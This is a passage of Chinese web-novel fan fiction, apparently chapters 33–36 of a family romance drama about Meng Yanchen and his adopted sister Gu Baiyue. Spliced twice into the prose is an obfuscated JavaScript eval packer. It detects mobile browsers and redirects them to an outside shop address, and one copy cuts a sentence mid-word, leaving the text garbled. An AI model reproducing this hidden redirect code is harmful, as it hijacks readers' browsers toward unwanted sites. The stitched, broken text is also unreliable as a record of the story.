可惜这一次,付闻樱低估了孟宴臣的决心,他那么冷静清醒,眸子里却藏着淡淡哀愁:“妈妈,我很感激你和爸爸将我教养成今天这副模样,君子端方,克己复礼,这八字牢牢刻进了我的心里,我不敢违拗你们,也不舍得违拗你们,你们可以尽情掌控我,操纵我,但是……” 他第一次违背父母意愿,以濒临深渊般的姿态,“但是妈妈,不要试图控制皎皎,她不是我们家豢养的金丝雀,更不是您苏绣缎面屏风上那只死气沉沉的画眉。” “她是高悬天际,皎洁无暇的月光;是林间奔袭,自由自在的清风。” “永远不要束缚她,桎梏她,——妈妈,这是我最后一次,以儿子的名义求你。” 张爱玲在《茉莉香片》中如此形容女主角言丹朱: 她不是笼子里的鸟。笼子里的鸟,开了笼,还会飞出来。她是绣在屏风上的鸟——悒郁的紫色缎子屏风上,织金云朵里的一只白鸟。年深月久了,羽毛暗了,霉了,给虫蛀了,死也还死在屏风上。 孟宴臣可以死在屏风上,但顾白月不可以,绝对不可以…… 这是自十年前那场决裂后,孟宴臣第一次主动同付闻樱倾吐心声:“妈妈,有时候我真怀疑,在我和国坤集团之间,您究竟更爱哪一个?” 付闻樱呼吸一窒。 他眉眼淡泊,平静又理智,说出的话却越来越疯狂:“妈妈,如果您坚持要让皎皎做孟贺卿,坚持要让我失去她,也请您做好失去国坤,失去我的准备吧。” 孟宴臣(三十三) “卡!” 顾白月第一天拍戏就遇到了狠活,按照剧情设定,需要一段泡在水里的打斗片段,动作难度悉数极高,再加上顾白月对此没经验,n机了几次,后来又有群演和对手演员出现纰漏,反反复复拍了好几条,几乎一整个下午都是在水里度过的。 好不容易熬到收工,花姐赶忙冲过来,用毯子裹住顾白月,半搀半扶地将人送到化妆间,见顾白月难受得走路都有些哆嗦,忍不住轻轻埋怨道:“你啊你,干嘛这么拼啊,蒋导都说可以用替身了……” 顾白月拿毛巾擦干手脸,可怜巴巴地抱着热水喝了好几口,这才开玩笑般说道:“当了演员就要敬业,再说了我还要成名成腕呢,可不能太敷衍。” “现在泡了冷水,过几天来例|假有你好受的。”花姐微微叹气,“我还是那句话,你可是金尊玉贵的孟三小姐啊,只要报出孟家名号,多的是人捧着你,而且你肯低个头,付女士指头缝里稍稍漏那么一点,到时候你抱着国坤的股份躺赢,不香吗?” 今天下午付闻樱打来了电话,当时顾白月正在忙,花姐代接了电话,后来顾白月抽空回了过去,付女士的意思很明确,希望顾白月站在她那边,帮忙说服孟宴臣同意参加相亲宴。 彼时付闻樱别有深意道:“皎皎,你是个乖孩子,从小到大都跟你哥哥亲如手足,你知道他最听你的话了,只要你放弃拍戏,乖乖回家,再替妈妈说服哥哥,妈妈就把国坤集团百分之二的股份赠予你,等到你结婚,妈妈再赠予你百分之二做嫁妆,你看怎么样?” 百分之二的股份听起来好像不多,但其实国坤集团作为房地产业中的龙头老大,每年盈利都是一个让人想到不敢想的天文数字,别说是百分之二,就是百分之一的股份也足够让很多人一辈子衣食无忧了。 反正当时花姐听到直接狠狠心动了,差点倒戈相向,劝说顾白月同意。 顾白月一听就明白,只怕孟宴臣同付闻樱之间的冷战又上升了一个阶段,她心底忧愁,晓得付闻樱吃软不吃硬,无意让付闻樱的怒火雪上加霜,就软乎乎地同她撒娇:“妈妈,皎皎很喜欢拍戏,而且拍戏能赚很多很多钱,皎皎还想用这些钱给您和爸爸买礼物呢。” 女孩子嗓音软糯清甜,温温柔柔地礼数当明星的好处,付闻樱失笑:“傻孩子,拍戏能挣几个钱?明星说好听了是明星,说难听一点不过是投资方眼中的戏子。” 顾白月再接再厉:“妈妈,求求你了……” 付闻樱皱眉:“你这孩子怎么也不听话了?” 经过顾白月反复祈求,虽然到了最后付闻樱还是不赞同,但态度渐渐有所软化。 这就够了,顾白月也没指望靠着只言片语,就让付闻樱完全改换观念。 面对花姐的不理解,顾白月一边卸妆,一边软语浅笑:“孟家为了养我,前前后后已经花费几千万了,如果我再厚着脸皮接受这些股份,欠孟家的就彻底还不清了。” 花姐随口道:“那就不还呗,我看孟先生付女士都是实打实拿你当闺女,没有让你还钱的意思,再说就算他们不肯继续养着你,还有小孟总呢,他总不会让你吃亏的。” 顾白月点头:“就是因为这样,我才不能同意妈妈的提议啊。其实从几年前开始,我就在想,到底该怎么还清孟家投资在我身上的抚养费。思来想去无非两条路,第一就是像哥哥那样从商,借助孟家人脉势力,在商业版图上攻城略地。但是你知道的,我只是孟家养女,为了避讳,也为了杜绝有心人挑拨离间,指责我觊觎孟家产业,我并不适合选这一条路。当然了根本原因还是我数字敏感度不高,没有这个天赋。所以啊,孟家的金字塔注定是我哥哥的。” 璀璨灯光下,雪肤花貌的女孩语气笃定,带着点小孩子护短式的霸道:“属于哥哥的东西,我都不会碰,更不允许别人跟他抢。” 花姐若有所悟:“所以你跑来拍戏?” 顾白月是典型的冷白皮,天生五官奇绝清艳,轮廓饱满精致,属于那种惊鸿一瞥,引人瞩目,细细观赏,又欲罢不能的那种。 之前她未正式踏足影视圈,仅仅是作为舞蹈演员参赛客串时,就凭借惊艳绝俗的长相,功底深厚的专业技艺,赢得了一大批粉丝,还有一个专门的粉丝群,叫做“白月光”。 顾白月凑近镜子,用卸妆棉一点点抹去厚重的戏妆,露出清透润泽,水蜜桃一般的肌肤底色。 侧后方的花姐从镜中看她,不得不承认,顾白月的粉丝们说得非常对,她笑道:“怪不得他们形容你拥有一张被神眷顾的脸,你啊,真是祖师爷追着喂饭吃。” 顾白月嫣然一笑:“这么说,感觉我好像是一只美丽而无用的花瓶嗳。”她又砸吧着嘴巴,很容易满足地说:“不过,除了孟家给我的,我好像也只有这张脸了,既然大家都这么喜欢的话,也是好事。” 顾白月觉得如果能凭借这张脸获得观众喜爱,吃一波流量红利,其实也未尝不可,到时候靠着名气尽快挣到一大笔钱,还给孟家。 唯有如此,她才能在孟宴臣与付闻樱对峙时,有底气反驳养父母,有底气千千万万次,坚定不移地选择哥哥。 小小化妆间里,顾白月慢慢拆掉头上簪环和发包,微不可闻地呓语:“想要让哥哥飞出牢笼,我这个总是拖后腿的人质,就要先一步走出去啊……” …… 这天晚上,孟宴臣约赵又司出来喝一杯。 赵又司到了湾流包间一看,只有孟宴臣一个人,顾白月不在,他霎时明白孟宴臣估计有正事要说,不方便让皎皎知道。 “什么事?说吧。” 朦胧灯光中,孟宴臣抬头看向赵又司,眉梢眼角比平常多了些冷冽:“听说赵二叔之前在市医院做副院长,这两年刚升上去,新官上任三把火,管理工作应该会抓得更严一些吧。” 赵又司立刻懂了:“这几天付阿姨带着许沁四处托关系,你都知道了?放心,她们还没搭上我二叔,现在正在跟刘副院长接触。” 孟宴臣双手把玩酒杯,淡然不语。许沁是有点小聪明,但她太喜欢自作聪明了,在孟家兴风作浪,挑拨离间,这就让人忍无可忍了。 既然如此,那就别怪他不客气了。 赵家是传承几百年的医药世家,家学渊源,从康乾盛世那会儿就做中药生意,被誉为杏林妙手,远近闻名。 到了近代受到新文化影响,西学东渐,赵家家主极有头脑,没有一味地固步自封,而是鼓励族中子弟自行选择,分成中医西医两大流派,取长补短,兼收并蓄。 赵又司是同辈人中天赋最高,潜力最大的,自小就跟着祖父以及父兄叔伯一起走南闯北,四处行医义诊,一直被赵家人寄予厚望,虽然他继承的是中医一脉,但家中一半亲戚都在西医体系内,只要开口,想要熄灭许沁进市医院的希望,简直轻而易举。 “需要我做到什么程度?”言下之意,这里面可操作的空间很大。 孟宴臣微微摇头:“不必费心针对 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老虎都有打盹的时候,何况付闻樱是人,是人就会疏忽懈怠。孟宴臣这么长时间的辛苦打拼也不是白做工,他将自己的工资和存款,分散成一个个不会引起付闻樱警惕的数字,一次次转移到几个朋友的账户中,委托他们进行运作。 积少成多,再加上投资场上的博弈,这些钱以滚雪球般的姿态,利滚利疯涨,已经到了非常庞大的地步。 听他问到这笔钱,赵又司意识到什么:“隐忍了十多年,终于打算反击了?” 孟宴臣淡淡解释:“她们触碰到了我的底线。”他的底线由始至终只有一个,那就是顾白月。 “付女士做了什么?” 孟宴臣眼神晦暗,乌沉沉得透不出一丝光泽:“她不喜欢皎皎拍戏,劝说投资商撤资了,我已经私下同蒋云舟约定好,会一力投资他手头这部剧。除此之外,妈妈还安排皎皎去相亲,让我以哥哥的名义帮忙把关,哈,你说可笑不可笑?” 明知道他不会将皎皎交托给任何人,可付闻樱女士还是那么做了。 杀人诛心。 这也就难怪孟宴臣会奋起反抗了,赵又司听得有些不忍,举杯跟眼前这倒霉情敌碰了一杯,和和气气地安慰他:“摊上这么个精明强悍的妈,你也是真可怜,——实在不行,你看我给你当妹夫,怎么样?” 孟宴臣:“……” 气到心梗。 教养让孟宴臣说不出脏话,他只是仰首靠在沙发上,手腕一转,酒杯稳稳落在桌面上,“抱歉,这趁火打劫的酒,不喝也罢。” 虽是玩笑,也有三分真意。 两人正在说话,一名女服务生不敲门就静悄悄走了进来,手里端着果盘,默默缩在角落里。 赵又司注意到了,有些惊讶地问:“我们叫果盘了吗?” 孟宴臣摇头:“没有。” 赵又司不高兴了:“方才送茶水那一趟也是你吧?你这姑娘怎么回事,不打招呼就进进出出的,湾流酒吧就这服务态度?” 叶子尴尬不已,连忙道:“我走错包间了,不好意思。”急匆匆退了出去。 赵又司随口抱怨道:“老肖都招的什么人?没规没矩的,客人正说话呢就直愣愣闯进来,真该好好培训一下。” 走错了?恐怕是有意为之吧…… 孟宴臣直觉事情并不简单,他们上次过来聚会时,这女服务生对皎皎的恶意几乎难以掩饰。 谈兴完全被败坏殆尽,孟宴臣顺势起身:“皎皎第一天拍戏,我要去接她,先走一步了。” 孟宴臣(三十四) 肖亦骁今天晚上有事被绊住了脚,好不容易忙完赶过来,快步来到湾流包间一看,人去楼空,只剩半瓶残酒。 他不禁笑骂了一句:“走这么快,赶着投胎啊。” 口袋震动几下,肖亦骁掏出手机翻看消息,恰在此时,原本正打扫房间的服务生凑过来,笑着跟他攀谈:“肖哥,上次来这包间玩的那个女生是叫皎皎吗?她就是孟家养女,孟总的妹妹?长得可真漂亮啊。” 肖亦骁瞥她一眼,没有说话。 叶子继续自言自语:“是真的很漂亮啊,眼睛比您现任女友艾琳姐还要妩媚,鼻子比您前任女友媛媛姐还要精致挺巧,还有身形,比上上次……” 她说不下去了。 肖亦骁冷笑一声,很不耐烦地说:“别绕圈子。” 叶子直面他森冷视线,“我方才进包间的时候,不小心听到孟总说,他的母亲付女士正在安排皎皎相亲,逼她尽快结婚,就连赵医生都对着孟总毛遂自荐,想做他妹夫呢。唉,其实我觉得,还是肖哥您跟皎皎小姐更般配一点。” 肖亦骁面无表情地听着,最后问了一句:“说完了吗?” 叶子迟疑着点头,心说:肖亦骁的表现为什么这么平淡,按理来说她不应该看错啊,肖亦骁那些女朋友,分明就是照着那个叫皎皎的女孩,集邮一般找的,现在有机会娶她,怎么可能不动心? 肖亦骁眯着眼睛,毫不客气地说:“不要叫她皎皎,你没资格。”他瞅了瞅孟宴臣发来的短信,“老孟说你不安分,原来是真的。” 他抬腿就走,叶子拦住去路,示弱般低头:“肖哥,孟总什么意思啊?” 肖亦骁咧嘴一笑:“意思就是——你被解雇了!” “不要……”叶子慌了,她想要以小博大,飞上枝头,却不能失去这份来之不易的高薪工作,起码在结识孟宴臣以前不行,离开这里,她上哪去找像湾流这般事少钱多离学校近的兼职? “肖哥我错了,对不起,是我说错什么话了吗?您和孟总大人有大量,别跟我计较。” 肖亦骁摆摆手:“行了行了,哥开酒吧这么多年,啥妖魔鬼怪没见过。你喜欢孟宴臣就大大方方去追,嫌皎皎碍事,也别撺掇着我去当出头鸟啊,算盘珠子都蹦我眼睛里了,当我瞎啊?待会儿去结一下工资,以后别来了。” 他说完就走,不再理会叶子的求饶。 叶子杵在原地僵持一会儿,感受到四面八方投来各种各样的目光,脸上羞恼,不禁握拳喊道:“有什么了不起,不就是比我有钱比我会投胎吗?我只不过是喜欢他而已,我有什么错?!” 肖亦骁倚着吧台,好整以暇地睨她:“喜欢老孟的人多了去了,你凭什么?” 叶子索性破罐子破摔,“凭我了解他,凭我比任何人都懂他。” “你了解他什么了?” 叶子神情激动,固执地大声喊道:“我知道他外表冷漠淡然,其实心肠柔软;我知道他看起来自信强大,有时候却会像小孩子一样脆弱,他经常一个人躲在公园偷偷荡秋千,最喜欢穿蓝色衣服……” 她承认自己动机不纯,对孟宴臣的爱掺杂着功利和算计,可是在知道孟宴臣是孟宴臣之前,她就已经对这个男人动心了。 难道她的喜欢都是假的吗? 话还没说完,肖亦骁已经捂着肚子,乐不可支地笑了起来,笑得眼泪都掉下来了,他压低声音:“别自以为是了,来来来,哥教你一个乖,孟宴臣时常去荡秋千,是因为那座公园刚好能看到皎皎以前居住过的地方,就连那架秋千,也是皎皎和老孟一起扎的;还有你所谓的老孟最喜欢蓝色,是因为高一那年暑假,老孟跟着他爸一起出席一场重要会议,他有点紧张,皎皎就哄他……” 他叹了一口气:“皎皎跟老孟说,你穿蓝衬衣最好看了,老孟这个傻子啊就信了,从那以后就经常穿蓝色衬衣。” 肖亦骁站直身子,微微俯视叶子:“你说你爱孟宴臣,可你现在看到的孟宴臣,身上到处都是皎皎的影子。” …… 顾白月发现拍戏这事也挺有意思的,虽然比较辛苦,最开始也有些无所适从,可是一旦熬过阵痛期,就渐入佳境,如鱼得水了。 这天片场出了点小状况,收工比较晚,顾白月正捂着肚子唱空城计,远远就看到孟宴臣提着一袋小甜点走了过来:“皎皎饿坏了吧,先吃块蛋挞垫一垫,等会儿哥哥带你吃大餐。” “好哎好哎,我要吃东坡肘子,还有红烧鱼!” 见顾白月手上拿着东西在卸妆,孟宴臣撕开包装纸,将蛋挞放在她嘴边:“吃一口。” 剧组里有一位上了年纪的前辈演员,原本正闭目养神,听到动静瞅了两人一眼,和蔼可亲地笑:“小丫头年纪轻轻,挑男朋友的眼光倒蛮好,瞧,你们俩站一块儿多搭啊,阿婆祝你们恩恩爱爱,白头偕老啊。” 顾白月霎时脸颊爆红,眼尾绯绯,“阿婆,他,他不是我男朋友……” 孟宴臣很是尊老爱幼,闻言竟未反驳,反倒矜持地颔首道:“承您吉言。” 顾白月:“嗳?” 好像有哪里不对劲。 这段时间以来,孟宴臣经常出入剧组来接皎皎上下班,偶尔还会以投资商的身份来探班,无论什么时候来,孟宴臣从未空着手,每次都会给顾白月带点小礼物,或是豪爽地让助理买奶茶买水果请全剧组的人,以兄长的名义,拜托他们多关照一下顾白月。 有赖于孟宴臣的面面俱到,妥帖周全,再加上顾白月自己也是与人为善,从不仗势欺人,所以顾白月在剧组人缘很好。 看到那老前辈不清楚状况,乱点鸳鸯谱,顾白月明显有些尴尬,一旁蹭了顾白月很多次名贵化妆品的小演员笑着解围:“哎呦,阿婆,孟总跟皎皎是兄妹,您老啊眼神不好,看错了。” 老前辈不屑地撇了撇嘴角,傲娇地咕哝一句道:“……你懂个屁。” 刚过完重阳节,最近有些降温,顾白月从换衣间走出来时,孟宴臣拿出一条披肩给她围上,自然而然地牵过女孩的手:“走吧。” “好。” 既然孟宴臣来了,花姐不需要再开车送顾白月,她跟导演蒋云舟聊了两句,落后一步走出拍摄场地时,不远处正是并肩执手的一对俊男靓女。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9448874|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>道路两旁是高大的梧桐树,其时雨后初霁,圆月高悬,空气潮润润的,透着一股秋季的冷清和寂寥。 在枯叶堆叠的柏油路上,孟宴臣身影高挑修长,劲瘦如竹,纯黑色西装套服勾勒出锋利轮廓,越发显得人物清雅,丰神俊朗。 孟家用金山银山培养出来的继承人,不满二十岁就在财经杂志崭露头角,自然是龙章凤姿,金质玉相,但顾白月站在他身旁时,却丝毫没有逊色之意,越发彰显出朱唇黛眉,绿鬓红颜。 清冷月光下,女孩粉面莹莹,似一朵含苞欲放的芙蕖,披散着海藻般的长发,是跌落红尘的仙子,——也可能是诱人成魔的女妖。 顾白月一袭米白色连衣裙,围着浅驼色披肩,脚上是柔软舒适的小羊皮短靴,每一处细节都清清楚楚地昭示着,她被人教养得很好。 若说孟宴臣是悒郁黑暗的子夜,那么顾白月毫无疑问是皎洁无暇的月色,她亲昵地拉着孟宴臣胳膊,仰头兴奋地分享着拍戏时的趣事。 孟宴臣很认真地听着,微微侧身垂首,淡泊的眸子染上脉脉温情,时不时配合地给予回应。 那么骄傲的一个人,竟然肯为了顾白月屡屡低头。 大概是眼前这副画面太过美好,花姐不知怎么想的,下意识地用手机拍了一张照片,迟疑了片刻,转发给了孟宴臣。 十分钟后,花姐收到一条新消息,点开一看,孟宴臣发来了一笔“8888”的转账,备注为:工作红包。 花姐:“!!!” 还得是咱孟总啊,出手就是大方。 花姐快开心死了,连忙回了一长“跪谢天恩,疯狂磕头”的表情包。 …… 肖亦骁在拍卖会上竞拍到一批“火龙”红酒,打电话让孟宴臣和皎皎去湾流酒吧拿,两人对酒并不痴迷,本来说让肖亦骁自己留着喝,谁知肖亦骁道:“来吧,专门给你们俩留了几瓶,听说睡前喝一点可以助眠。” 这话正说到顾白月心坎上,她一直在尝试各种办法,帮助孟宴臣缓解失眠症状,闻言抱着宁可信其有不可信其无的心态,答应下来。 既然到了湾流酒吧,当然不可能拿了红酒就走,进包间一看,肖亦骁正跟王勉和蒋裕吹牛呢。 蒋裕高考之后去了军校,按部就班地毕业入编,退伍转岗,听说最近调回了本市工作,专攻消防安全这一块。 毕竟是国家公|职人员,需要洁身自好,蒋裕不好时常泡在湾流酒吧,也就听说肖亦骁有事找他才过来。 几人好久没见到蒋裕了,不免坐下来跟他聊天叙旧,正说着,顾白月忽然觉出小腹酸痛,不禁暗道糟糕:不是吧,偏巧赶到今天…… 趁众人不注意,顾白月悄悄凑近孟宴臣,有些羞赧地在他耳边小小声说:“哥哥,我,我肚子不舒服……” 清浅香气细细吹拂而来,孟宴臣心尖上好似有一根羽毛扫过,酥酥麻麻,带着令人战栗的痒意。 他回眸看向顾白月,见她眉头微蹙,双手交叠落在腰腹,再结合今天的日期,立刻就明白了。 孟宴臣脱下西装外套,披在顾白月身上,“我们回家。” 孟宴臣(三十五) 顾白月现在很后悔,她本就体质虚弱,小时候跟妈妈一起过了段苦日子,留了点后遗症,青春期初潮之后就一直经期不稳,再加上半个月前泡冷水拍戏,总之,这次例假来势汹汹,疼得让人直不起腰。 看到顾白月小脸煞白,额头冷汗涔涔,孟宴臣也顾不得跟其他人多说,半搀半抱地将人带到车上,径直回了公司附近的公寓。 路上,顾白月窝在孟宴臣怀里,勉力抬头往车窗外看了一眼,“哥哥,让司机先生送我回老宅吧,那里东西齐全一些。”她怕像上次一样处处手忙脚乱,给孟宴臣造成困扰。 孟宴臣安抚地拍拍她:“没关系。” 到了公寓进门一看,顾白月才惊觉这里好像发生了某种翻天覆地的变化,整套房子重新装修过,调整了布局,分出一大半区域做成客卧,内部嵌套了衣帽间和化妆间。 房间里购置了全套的家居用品,品牌和款式都是顾白月用惯的,衣帽间摆得满满当当,琳琅满目,跟一场小型时装展似的,化妆间里全是一套套刚拆封的护肤品和彩妆。 置办得如此精细完备,别说是满足临时借宿的需求,就是顾白月直接安家也没问题,简直可以拎包入住。 最让人感动的是,房间里还增添了许多女孩子喜欢的小物件,不再像上次见到的那般冷清空洞,莫名透着温馨。 等到顾白月洗漱完出来,孟宴臣已经将客卧的床单被褥换成了更温暖舒适的,还铺了一层枣红色毛毯。 见孟宴臣站在厨房忙活,顾白月佝偻着腰问:“哥,你在干什么,要帮忙吗?” 孟宴臣撵人:“不用,快去床上躺着。” 顾白月幽魂一样飘到床边,掀开被子把自己丢进去,胳膊触碰到一个暖融融的物件。 “耶?” 伸手一抓,揪出一个胖小猪模样的充电暖宝宝,顾白月惬意地一声长叹,抱着小猪瘫在床上咸鱼躺。 孟宴臣端着熬好的姜母红糖水,敲门进来一看,顾白月软乎乎地缩在被窝里,嘴里哼哼唧唧地喊疼。 他不敢表露太多心疼的情绪,只柔声唤她:“皎皎,来,把这个喝了。” 顾白月又累又困,特别想要饱饱睡一觉,偏偏肚子酸疼得不行,只能懵头懵脑地按照孟宴臣所言,半支着身子,就着孟宴臣的手,将一碗姜母红糖水喝完。 “谢谢哥哥。” 说话时还带着些鼻音,听得人心头酸软。 朦胧的小夜灯下,孟宴臣眼神柔和,一边帮女孩打理长发,一边轻轻说:“我们皎皎已经很厉害很厉害了,不需要那么拼命拍戏,不然哥哥会觉得自己很没用,连皎皎都保护不好。” 他也只敢趁着顾白月意识昏沉,半睡半醒时,隐晦地倾吐心声了。 大概是生病让人脆弱,顾白月今天格外依赖哥哥,她小猫崽子一般用脸颊蹭了蹭孟宴臣的手,小声呢喃道:“不行的,我要挣钱……” “挣钱做什么?” “挣钱……买哥哥……” 孟宴臣怔住,无意识重复:“买哥哥?” 顾白月闭着眼睛,慵懒地打哈欠,嘟嘟囔囔说:“是啊,买哥哥,把哥哥从妈妈手里买过来,这样哥哥就是我一个人的了,嘿嘿……” 她伏在枕上,软绵绵地笑开,如同得到心爱玩具的小孩子,完全不知道这些轻描淡写的话,在孟宴臣心底激起怎么样波澜。 一室寂静中,唯闻有人轻不可闻地低语:“不需要买,哥哥,一直都在你手里。” 孟宴臣有失眠的老毛病,兼之担心顾白月,就更不可能踏实睡着了,索性坐在床边守着她。 痛经这种病症不好经常吃药缓解,以免产生抗药性,只想着睡一觉发发汗就好了,只是顾白月睡得不安稳,黛眉微蹙,神色楚楚,始终未曾舒展,抱着肚子难受得直哼哼。 孟宴臣不放心,干脆用手机搜索解决办法,过了一会儿,站起身去卫生间用热水泡手,擦干之后坐回床边。 有片刻的挣扎和犹豫。 但他终究是狠狠闭了闭眼睛,修长柔韧手指伸进粉紫色天鹅绒被子,那里顿时鼓起一个小包,然后一路蜿蜒前行,最后停在女孩腰肚处,隔着薄薄的真丝睡衣,缓缓按揉。 心跳声一下比一下剧烈,震耳欲聋。 茶几上的手机震动起来,是付闻樱在给顾白月打电话。 孟家家风严谨,自十年前许沁险些闹出未婚先孕的丑事后,对女孩子的教养就抓得更紧了一些,付女士从不许顾白月随意在外留宿,无论是住在亲生母亲留下的梧桐小区,还是跟舞蹈团一起住酒店,都要有明确去向。 顾白月上次借住在这里,就曾被事后知晓的付闻樱女士教训了几句。 这次当然也一样。 接通电话,付闻樱女士有些担忧的声音传来:“皎皎,你这孩子真是的,都几点了,怎么还不回家?也不知道给妈妈回一条消息,是又跟助理一起去住酒店了吗?” 孟宴臣怕吵醒顾白月,压低声音,淡然开口:“是我,妈妈。” 付闻樱一惊:“怎么是你?皎皎呢?” “唔……” 偏巧顾白月这时疼得厉害,低低痛呼出声,又被精神高度紧张的付闻樱女士敏锐地捕捉到了,局面霎时失控。 付闻樱不可避免地产生了一些不好的猜测,着急追问:“皎皎怎么跟你在一起?你想做什么?” 孟宴臣心中一动,知道母亲大约是误会了,不过他并没有急于解释,而是恍惚轻笑,带着淡淡邪气。 “深更半夜,孤男寡女,妈妈觉得我们在做什么?或许妈妈觉得我只是您手中的提现木偶,可是在此之前,我也还是一个发育正常,热血方刚的男人。” 不待付闻樱再追问,孟宴臣挂断了电话。 顾白月再次醒来时,已经是早上七点多了,身上懒洋洋得没有力气,不过疼痛感减轻许多,似乎没有那么难受了。 她手脚发软地走出房间,刚好听到门铃声响起,正要过去,孟宴臣已经先一步打开房门。 门外,付闻樱面若秋霜,横眉冷目,满脸震惊地看了看一身家居服的孟宴臣,又看了看身着睡衣,走路姿势别扭的顾白月,顿时气得浑身发抖,扬手狠狠甩了孟宴臣一巴掌,咬牙道:“混账!我跟你爸爸辛辛苦苦养育你二十多年,就是让你这么枉顾礼义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9450207|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廉耻的?孟宴臣,你的教养呢?你还记不记得皎皎是谁?她是你妹妹!你竟然敢,竟然敢……” 这一巴掌显然用足了力气,付闻樱手上的钻石戒指划过孟宴臣脸颊,留下一道血痕,唇角也破了口,口齿间满是血腥气,他却满不在乎地一声嗤笑,用舌头顶了顶口腔里的软肉,显出一丝痞气。 顾白月简直被眼前这番变故惊呆了,跑过去将孟宴臣护在身后,茫然不解地问付闻樱:“妈妈,好端端的,您为什么要打哥哥啊?哥哥都这么大了,就算他不听话,您也不能动手啊,还破了相,万一被下属看到,您让他颜面何存?” 顾白月是真的不理解,在她眼中,孟宴臣就是世界上最完美无缺的人,上天入地无所不能,任何人都不能伤害他,即便是爸爸妈妈也不可以。 “皎皎……” 付闻樱迟疑地唤着顾白月,近距离仔细端详了一下她的眸色和神态,立刻便明白自己错怪了两人,顾白月神色天真纯澈,毫无云雨之意。 付闻樱恨恨地瞪了孟宴臣一眼:很好,果然是十月怀胎亲生的儿子,都敢跟她耍心眼了。 十分钟后,付闻樱姿态端庄地坐在沙发上,绝口不提自己为什么大清早就跑来掌掴儿子,顾白月反复问了几遍,最终也没有得到明确答案。 她无措地瞅了瞅不怒自威的付闻樱,又瞧了瞧三缄其口,冷淡如水的孟宴臣,为这对关系僵冷的母子深深叹息。 事态不能再恶化下去了。 顾白月想了想,跑回房间从包里拿出一个锦盒,抱着付闻樱胳膊摇了摇,“妈妈,你是不是还在怪哥哥不回家,不愿意听从您的安排相亲?哎呀,其实您错怪哥哥了,他真不是故意顶撞妈妈,惹您生气。您看,这是哥哥特意给您准备的礼物,妈妈喜欢吗?” 锦盒打开,里面是一对鎏金花丝宫灯耳坠,样式复古,造型精致,一眼望去雍容大气,非常符合付闻樱传统而老派的审美。 顾白月小心翼翼地觑付闻樱脸色,见她不复方才的冷硬,故意夸大其词:“这么贵气又漂亮的耳坠,也只有气质优雅的妈妈才能压得住,您可是我们家的长青宝树,定海神针,就该开开心心地被我们孝敬着,妈妈要是喜欢这耳坠,也不枉哥哥逛遍商场十六条街,累得腿都快断了。” 孟宴臣听得无奈极了,好笑地望了过来,眸光温暖。 “好了好了,妈妈真是怕了你了。”付闻樱被顾白月歪缠得不行,笑着点了点皎皎额头,她嘴上说着女孩子要落落大方,娴静知礼,然而私心里却对顾白月的亲近很受用。 会哭的孩子有糖吃,对于付闻樱这样吃软不吃硬的家长来说,适当的撒娇确实事半功倍。 母子两人都知道顾白月在撒谎,这副耳坠十有八|九是她自己买的,不过大家心照不宣,谁都没有拆穿。 顾白月一手挽着付闻樱,一手牵着孟宴臣,软糯糯地说:“感觉好久没有跟妈妈和哥哥一起吃饭了,妈妈来都来了,就别急着走了,我们中午一起吃砂锅海鲜粥,好不好嘛?” 就着顾白月搭好的台阶,付闻樱矜持地微微点头,孟宴臣配合地起身:“皎皎在家陪妈妈说话,哥哥去买菜。” 孟宴臣(三十六) 市医院的考核结果出来后,许沁综合得分并不理想,没能应聘为主治医师,按照规定,需要从实习生做起,慢慢积累经验熬资历。 为了方便许沁上下班,孟怀瑾打算在市医院附近的玫瑰苑买一套房子。 付闻樱抚了一下耳边鎏金花丝宫灯坠子,“你可不止许沁一个女儿,别让孩子笑话咱们做父母的偏心。” 孟怀瑾点头:“那就买两套。”同一单元不同楼层的两套精装修大平层,两个养女一人一套,争取一碗水端平。 这段时日,顾白月待在剧组忙得昏天黑地,偶尔有了空闲,就带着花姐考察场地,招聘人手,成立了自己的工作室。 既然要在影视圈踏踏实实走下去,为了长远考虑,顾白月身边就要有自己的专业团队,何况以孟家人的骄傲,能够允许顾白月辛辛苦苦从配角演起,已经是顾白月施展撒娇大法,缠着付闻樱磨了好几天的结果。 付闻樱已经做出妥协,绝对不可能一退再退,让顾白月签在其他影视公司下面,到时候白纸黑字,种种掣肘,很可能被有心人利用,用以威胁国坤集团。 工作班底初步搭建完成时,《三生奇缘》的拍摄也进入尾声,助理花姐正在帮忙洽谈业务,说是有一家高档女装品牌“春上春”,想要聘请顾白月做代言人,宣传推广他们新一季度的设计“二乔”。 顾白月下班后,习惯性地跟孟宴臣分享自己每天的生活琐事,提及代言人一事,还颇为费解道:“听说春上春是传统国货,已经有几百年的传承,建国后主要经营国风服饰,复古之中不乏创新,算是古今结合,特色鲜明那一类,近些年还致力于设计高定礼服,逐渐将名号打入国际市场。哥,你说一个知名度这么高的老牌子,怎么会看上我这个名不见经传的小人物?” 孟宴臣若有所思:“我记得你衣柜里好像有几件春上春的衣服,上次参加舞蹈综艺秀,穿得不就是他们家的轻奢款‘玉台金质’ ?许是他们的负责人刚好看到,觉得你诠释出云锦华衣的美。 ” 当时还有粉丝形容顾白月珺璟如晔,雯华若锦,确实与春上春的创作理念不谋而合。 说起来那期舞蹈综艺秀原本邀请姚见萍做决赛评委,可惜她老人家档期不足,就玩笑着推荐了关门弟子顾白月,节目组竟然也一口答应下来。 